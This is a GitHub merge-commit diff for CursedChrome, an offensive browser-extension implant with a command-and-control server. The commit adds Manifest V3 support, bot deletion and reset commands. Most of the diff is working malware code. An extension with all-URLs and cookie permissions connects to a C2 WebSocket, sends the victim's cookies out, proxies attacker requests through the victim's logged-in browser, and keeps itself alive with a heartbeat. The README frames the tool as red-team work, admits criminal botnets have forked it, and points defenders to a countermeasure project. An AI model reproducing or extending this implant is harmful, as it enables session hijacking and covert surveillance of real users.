Merge pull request #74 from mandatoryprogrammer/v3-upgrade

Manifest V3 Support (and other goodies)
This commit is contained in:
Matthew Bryant
2024-10-26 15:06:54 -04:00
committed by GitHub
7 changed files with 238 additions and 104 deletions
+5
View File
@@ -1,4 +1,5 @@
# CursedChrome
## *Now with (beta) Manifest V3 support!*
<p align="center">
<img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" /><img src="./images/doll.svg" height="128" width="128" />
@@ -10,6 +11,10 @@ I thought this was clearly-implied, and that these disclaimers were redundant at
> This is a tool written for *professional red teams*. It helps simulate an often unpracticed attack scenario involving malicious browser extensions. If you're planning on using this to maliciously spy on your friend/girlfriend/victims, let me know your address and intent and I'll gladly forward your message to your local LEO for your convenience.
For the [many](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rilide-a-new-malicious-browser-extension-for-stealing-cryptocurrencies/) Russian [ecrime](https://www.justice.gov/opa/pr/criminal-marketplace-disrupted-international-cyber-operation) groups that forked this project for their botnet, see the following disclaimer instead:
> Разве ты не должен быть на передовой, товарищ? Тебя ждет беспилотник.
### Blue Teams/Defenders/CorpSec
If you're on the blue team and wondering about ways to defend against this, take a look at my [ChromeGalvanizer project](https://github.com/mandatoryprogrammer/ChromeGalvanizer), which generates easy-to-install Chrome enterprise policies to defend against attacks like this. An easy-to-use hosted version is available [here](https://thehackerblog.com/galvanizer/).
+27
View File
@@ -166,6 +166,33 @@ async function get_api_server(proxy_utils) {
}).end();
});
/*
Delete a bot
*/
const DeleteBotSchema = {
type: 'object',
properties: {
bot_id: {
type: 'string',
required: true,
pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}'
},
}
}
app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => {
const bot = await Bots.findOne({
where: {
id: req.body.bot_id
}
});
await bot.destroy();
res.status(200).json({
"success": true,
"result": {}
}).end();
});
/*
Get list of bots
*/
+1 -1
View File
@@ -1,4 +1,3 @@
version: '3.2'
services:
redis:
image: "redis:alpine"
@@ -26,6 +25,7 @@ services:
# Number of bcrypt rounds for
# storing admin panel passwords.
BCRYPT_ROUNDS: 10
DEBUGGING: "yes"
ports:
- "127.0.0.1:8080:8080" # Proxy server
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
+10 -10
View File
@@ -1,7 +1,7 @@
{
"name": "CursedChrome Implant",
"version": "0.0.1",
"manifest_version": 2,
"version": "0.0.2",
"manifest_version": 3,
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
"homepage_url": "https://thehackerblog.com",
"icons": {
@@ -11,15 +11,15 @@
},
"default_locale": "en",
"background": {
"scripts": [
"src/bg/background.js"
],
"persistent": true
"service_worker": "src/bg/background.js"
},
"permissions": [
"webRequest",
"webRequestBlocking",
"<all_urls>",
"cookies"
"cookies",
"storage",
"declarativeNetRequest"
],
"host_permissions": [
"<all_urls>"
]
}
}
+125 -69
View File
@@ -22,30 +22,41 @@ const REQUEST_HEADER_BLACKLIST = [
const RPC_CALL_TABLE = {
'HTTP_REQUEST': perform_http_request,
'PONG': () => {}, // NOP, since timestamp is updated on inbound message.
'PONG': () => { }, // NOP, since timestamp is updated on inbound message.
'AUTH': authenticate,
'GET_COOKIES': get_cookies,
'RESET': reset,
};
async function reset(params) {
// We've been reset, clear local identifier and reconnect
await chrome.storage.local.clear();
websocket.close();
websocket = false;
initialize();
return false;
}
/*
Return an array of cookies for the current cookie store.
*/
async function get_cookies(params) {
// If the "cookies" permission is not available
// just return an empty array.
if(!chrome.cookies) {
if (!chrome.cookies) {
return [];
}
return getallcookies({});
}
function getallcookies(details) {
return new Promise(function(resolve, reject) {
return new Promise(function (resolve, reject) {
try {
chrome.cookies.getAll(details, function(cookies_array) {
chrome.cookies.getAll(details, function (cookies_array) {
resolve(cookies_array);
});
} catch(e) {
} catch (e) {
reject(e);
}
});
@@ -53,16 +64,15 @@ function getallcookies(details) {
async function authenticate(params) {
// Check for a previously-set browser identifier.
var browser_id = localStorage.getItem('browser_id');
const browser_id_obj = await chrome.storage.local.get(['browser_id']);
// If no browser ID is already set we generate a
// new one and return it to the server.
if(browser_id === null) {
if (browser_id_obj === null || !('browser_id' in browser_id_obj)) {
browser_id = uuidv4();
localStorage.setItem(
'browser_id',
browser_id
);
await chrome.storage.local.set({
'browser_id': browser_id
});
}
/*
@@ -70,7 +80,7 @@ async function authenticate(params) {
some metadata about the instance.
*/
return {
'browser_id': browser_id,
'browser_id': browser_id_obj.browser_id,
'user_agent': navigator.userAgent,
'timestamp': get_unix_timestamp()
}
@@ -79,16 +89,16 @@ async function authenticate(params) {
function get_secure_random_token(bytes_length) {
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let array = new Uint8Array(bytes_length);
window.crypto.getRandomValues(array);
crypto.getRandomValues(array);
array = array.map(x => validChars.charCodeAt(x % validChars.length));
const random_string = String.fromCharCode.apply(null, array);
return random_string;
}
function uuidv4() {
return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
}
function arrayBufferToBase64(buffer) {
@@ -98,7 +108,7 @@ function arrayBufferToBase64(buffer) {
for (var i = 0; i < len; i++) {
binary += String.fromCharCode(bytes[i]);
}
return window.btoa(binary);
return btoa(binary);
}
function get_unix_timestamp() {
@@ -240,7 +250,7 @@ async function perform_http_request(params) {
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
// Handler 301, 302, 307 edge case
if(response.url.startsWith(redirect_hack_url_prefix)) {
if (response.url.startsWith(redirect_hack_url_prefix)) {
var response_metadata_string = decodeURIComponent(response.url);
response_metadata_string = response_metadata_string.replace(
redirect_hack_url_prefix,
@@ -300,11 +310,10 @@ function initialize() {
// snitch don't alert on a new port connection from Chrome).
websocket = new WebSocket("ws://127.0.0.1:4343");
websocket.onopen = function(e) {
//websocket.send("My name is John");
websocket.onopen = function (e) {
};
websocket.onmessage = async function(event) {
websocket.onmessage = async function (event) {
// Update last live connection timestamp
last_live_connection_timestamp = get_unix_timestamp();
@@ -320,6 +329,9 @@ function initialize() {
if (parsed_message.action in RPC_CALL_TABLE) {
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
if (result === false) {
return;
}
websocket.send(
JSON.stringify({
// Use same ID so it can be correlated with the response
@@ -333,7 +345,7 @@ function initialize() {
}
};
websocket.onclose = function(event) {
websocket.onclose = function (event) {
if (event.wasClean) {
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
} else {
@@ -343,7 +355,7 @@ function initialize() {
}
};
websocket.onerror = function(error) {
websocket.onerror = function (error) {
console.log(`[error] ${error.message}`);
};
}
@@ -372,9 +384,9 @@ Additionally, for defense in depth, nothing that isn't initiated by the Chrome e
is actually processed.
*/
chrome.webRequest.onBeforeSendHeaders.addListener(
function(details) {
function (details) {
// Ensure we only process requests done by the Chrome extension
if(details.initiator !== location.origin.toString()) {
if (details.initiator !== location.origin.toString()) {
return
}
@@ -382,54 +394,54 @@ chrome.webRequest.onBeforeSendHeaders.addListener(
var header_keys_to_delete = [];
var headers_to_append = [];
details.requestHeaders.map(requestHeader => {
if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
has_header_secret = true;
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
}
});
details.requestHeaders.map(requestHeader => {
if (requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
has_header_secret = true;
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
}
});
// If there's no secret header set with the
// proper secret then quit out the proxy replacement.
if(!has_header_secret) {
return {
cancel: false
};
}
// If there's no secret header set with the
// proper secret then quit out the proxy replacement.
if (!has_header_secret) {
return {
cancel: false
};
}
// Get headers to remove and headers to append
details.requestHeaders.map(requestHeader => {
if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
header_keys_to_delete.push(requestHeader.name);
// Get headers to remove and headers to append
details.requestHeaders.map(requestHeader => {
if (!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
header_keys_to_delete.push(requestHeader.name);
// Skip the header if it's in the blacklist (e.g. Cookie)
if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
if (REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
return
}
headers_to_append.push({
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
'value': requestHeader.value
})
}
});
headers_to_append.push({
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
'value': requestHeader.value
})
}
});
// Remove headers
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
return !header_keys_to_delete.includes(requestHeader.name);
});
// Remove headers
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
return !header_keys_to_delete.includes(requestHeader.name);
});
// Add appended headers
details.requestHeaders = details.requestHeaders.concat(
headers_to_append
);
// Add appended headers
details.requestHeaders = details.requestHeaders.concat(
headers_to_append
);
return {
requestHeaders: details.requestHeaders
requestHeaders: details.requestHeaders
};
}, {
urls: ["<all_urls>"]
}, ["blocking", "requestHeaders", "extraHeaders"]
urls: ["<all_urls>"]
}, ["requestHeaders", "extraHeaders"]
);
@@ -439,29 +451,29 @@ const REDIRECT_STATUS_CODES = [
307
];
chrome.webRequest.onHeadersReceived.addListener(function(details) {
chrome.webRequest.onHeadersReceived.addListener(function (details) {
// Ensure we only process requests done by the Chrome extension
if(details.initiator !== location.origin.toString()) {
if (details.initiator !== location.origin.toString()) {
return
}
// Rewrite Set-Cookie to expose it in fetch()
var cookies = []
details.responseHeaders.map(responseHeader => {
if(responseHeader.name.toLowerCase() === 'set-cookie') {
if (responseHeader.name.toLowerCase() === 'set-cookie') {
cookies.push(responseHeader.value);
}
});
if (cookies.length != 0) {
details.responseHeaders.push({
'name': 'X-Set-Cookie',
// We pack array of cookies into string and depack later.
// Otherwise multiple Set-Cookie headers would be merged together.
'value': JSON.stringify(cookies)
'name': 'X-Set-Cookie',
// We pack array of cookies into string and depack later.
// Otherwise multiple Set-Cookie headers would be merged together.
'value': JSON.stringify(cookies)
});
}
if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
if (!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
return {
responseHeaders: details.responseHeaders
}
@@ -480,4 +492,48 @@ chrome.webRequest.onHeadersReceived.addListener(function(details) {
};
}, {
urls: ["<all_urls>"]
}, ["blocking", "responseHeaders", "extraHeaders"]);
}, ["responseHeaders", "extraHeaders"]);
(async () => {
// From https://developer.chrome.com/docs/extensions/develop/migrate/to-service-workers#keep_a_service_worker_alive_continuously
/**
* Tracks when a service worker was last alive and extends the service worker
* lifetime by writing the current time to extension storage every 20 seconds.
* You should still prepare for unexpected termination - for example, if the
* extension process crashes or your extension is manually stopped at
* chrome://serviceworker-internals.
*/
let heartbeatInterval;
async function runHeartbeat() {
await chrome.storage.local.set({ 'last-heartbeat': new Date().getTime() });
}
/**
* Starts the heartbeat interval which keeps the service worker alive. Call
* this sparingly when you are doing work which requires persistence, and call
* stopHeartbeat once that work is complete.
*/
async function startHeartbeat() {
// Run the heartbeat once at service worker startup.
runHeartbeat().then(() => {
// Then again every 20 seconds.
heartbeatInterval = setInterval(runHeartbeat, 20 * 1000);
});
}
async function stopHeartbeat() {
clearInterval(heartbeatInterval);
}
/**
* Returns the last heartbeat stored in extension storage, or undefined if
* the heartbeat has never run before.
*/
async function getLastHeartbeat() {
return (await chrome.storage.local.get('last-heartbeat'))['last-heartbeat'];
}
await startHeartbeat();
})();
+17
View File
@@ -165,6 +165,12 @@
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename
</b-button>
</div>
<hr />
<div class="input-group">
<b-button variant="danger" v-on:click="delete_bot">
<font-awesome-icon :icon="['fas', 'delete']" class="icon alt mr-1 ml-1" /> Delete Bot
</b-button>
</div>
</b-modal>
</div>
<!-- Update user password modal -->
@@ -284,6 +290,17 @@ export default {
this.user.password_should_be_changed = login_result.password_should_be_changed;
},
async delete_bot() {
await api_request(
'DELETE',
'/bots', {
'bot_id': this.options_selected_bot.id
}
);
this.$toastr.s('Bot deleted succesfully.');
this.$bvModal.hide('bot_options_modal');
this.refresh_bots();
},
async update_bot_name() {
await api_request(
'PUT',
+53 -24
View File
@@ -4,6 +4,7 @@ const cluster = require('cluster');
const WebSocket = require('ws');
const https = require('https');
const redis = require("redis");
const http = require('http');
const uuid = require('uuid');
const util = require('util');
const fs = require('fs');
@@ -33,7 +34,7 @@ const numCPUs = require('os').cpus().length;
const PROXY_PORT = process.env.PROXY_PORT || 8080;
const WS_PORT = process.env.WS_PORT || 4343;
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
const SERVER_VERSION = '1.0.0';
const SERVER_VERSION = '1.0.1';
const RPC_CALL_TABLE = {
'PING': ping,
@@ -46,6 +47,31 @@ const REQUEST_TABLE = new NodeCache({
});
async function ping(websocket_connection, params) {
// Update bot as online
const bot = await Bots.findOne({
where: {
browser_id: websocket_connection.browser_id
}
});
if (!bot) {
websocket_connection.send(
JSON.stringify({
'id': uuid.v4(),
'version': SERVER_VERSION,
'action': 'RESET',
'data': {}
})
)
return
}
await bot.update({
is_online: true,
});
// Send PONG message back
websocket_connection.send(
JSON.stringify({
@@ -55,16 +81,6 @@ async function ping(websocket_connection, params) {
'data': {}
})
)
// Update bot as online
const bot = await Bots.findOne({
where: {
browser_id: websocket_connection.browser_id
}
});
await bot.update({
is_online: true,
});
}
function get_browser_proxy(input_browser_id) {
@@ -79,9 +95,9 @@ function get_browser_proxy(input_browser_id) {
}
function authenticate_client(websocket_connection) {
return new Promise(function(resolve, reject) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function() {
setTimeout(function () {
reject(`A timeout occurred when authenticating WebSocket client.`);
}, (30 * 1000));
@@ -109,9 +125,9 @@ function authenticate_client(websocket_connection) {
}
function get_browser_cookie_array(browser_id) {
return new Promise(function(resolve, reject) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function() {
setTimeout(function () {
reject(`Get cookies RPC called timed out.`);
}, (30 * 1000));
@@ -149,9 +165,9 @@ function get_browser_cookie_array(browser_id) {
}
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
return new Promise(function(resolve, reject) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function() {
setTimeout(function () {
reject(`Request Timed Out for URL ${url}!`);
}, (30 * 1000));
@@ -248,7 +264,7 @@ async function get_authentication_status(inputRequestDetail) {
// If we already have this cached we can stop here.
const credential_data_string = await getAsync(memory_cache_key);
if(credential_data_string) {
if (credential_data_string) {
const cached_record = JSON.parse(credential_data_string);
return {
'id': cached_record.id,
@@ -274,7 +290,7 @@ async function get_authentication_status(inputRequestDetail) {
// No need to wait for this to resolve
await setexAsync(
memory_cache_key,
( 60 * 10 ),
(60 * 10),
JSON.stringify(browserproxy_record),
);
@@ -355,7 +371,7 @@ const options = {
//throttle: 10000,
forceProxyHttps: true,
wsIntercept: false,
silent: true
silent: !(process.env.DEBUGGING === "yes")
};
async function initialize_new_browser_connection(ws) {
@@ -432,7 +448,7 @@ async function initialize() {
redis_client = redis.createClient({
"host": process.env.REDIS_HOST,
});
redis_client.on("error", function(error) {
redis_client.on("error", function (error) {
logit(`Redis client encountered an error:`);
console.error(error);
});
@@ -449,12 +465,12 @@ async function initialize() {
delAsync = util.promisify(redis_client.del).bind(redis_client);
// Called when a new redis subscription is added
subscriber.on("subscribe", function(channel, count) {
subscriber.on("subscribe", function (channel, count) {
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
});
// Called when a new message is written to a channel
subscriber.on("message", function(channel, message) {
subscriber.on("message", function (channel, message) {
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
// For messages being sent to the browser from the proxy
@@ -495,8 +511,21 @@ async function initialize() {
}
});
// Build HTTP server first and pass to WS server
// This is a forward-looking change so versioning doesn't
// become a clusterfuck with addon tools for the server.
const http_server = http.createServer(function (req, res) {
res.writeHead(200, {
'Content-Type': 'text/plain',
'CC-Server-Version': SERVER_VERSION,
});
res.write('');
res.end();
}).listen(WS_PORT);
wss = new WebSocket.Server({
port: WS_PORT
server: http_server
// port: WS_PORT
});
wss.on('connection', async function connection(ws) {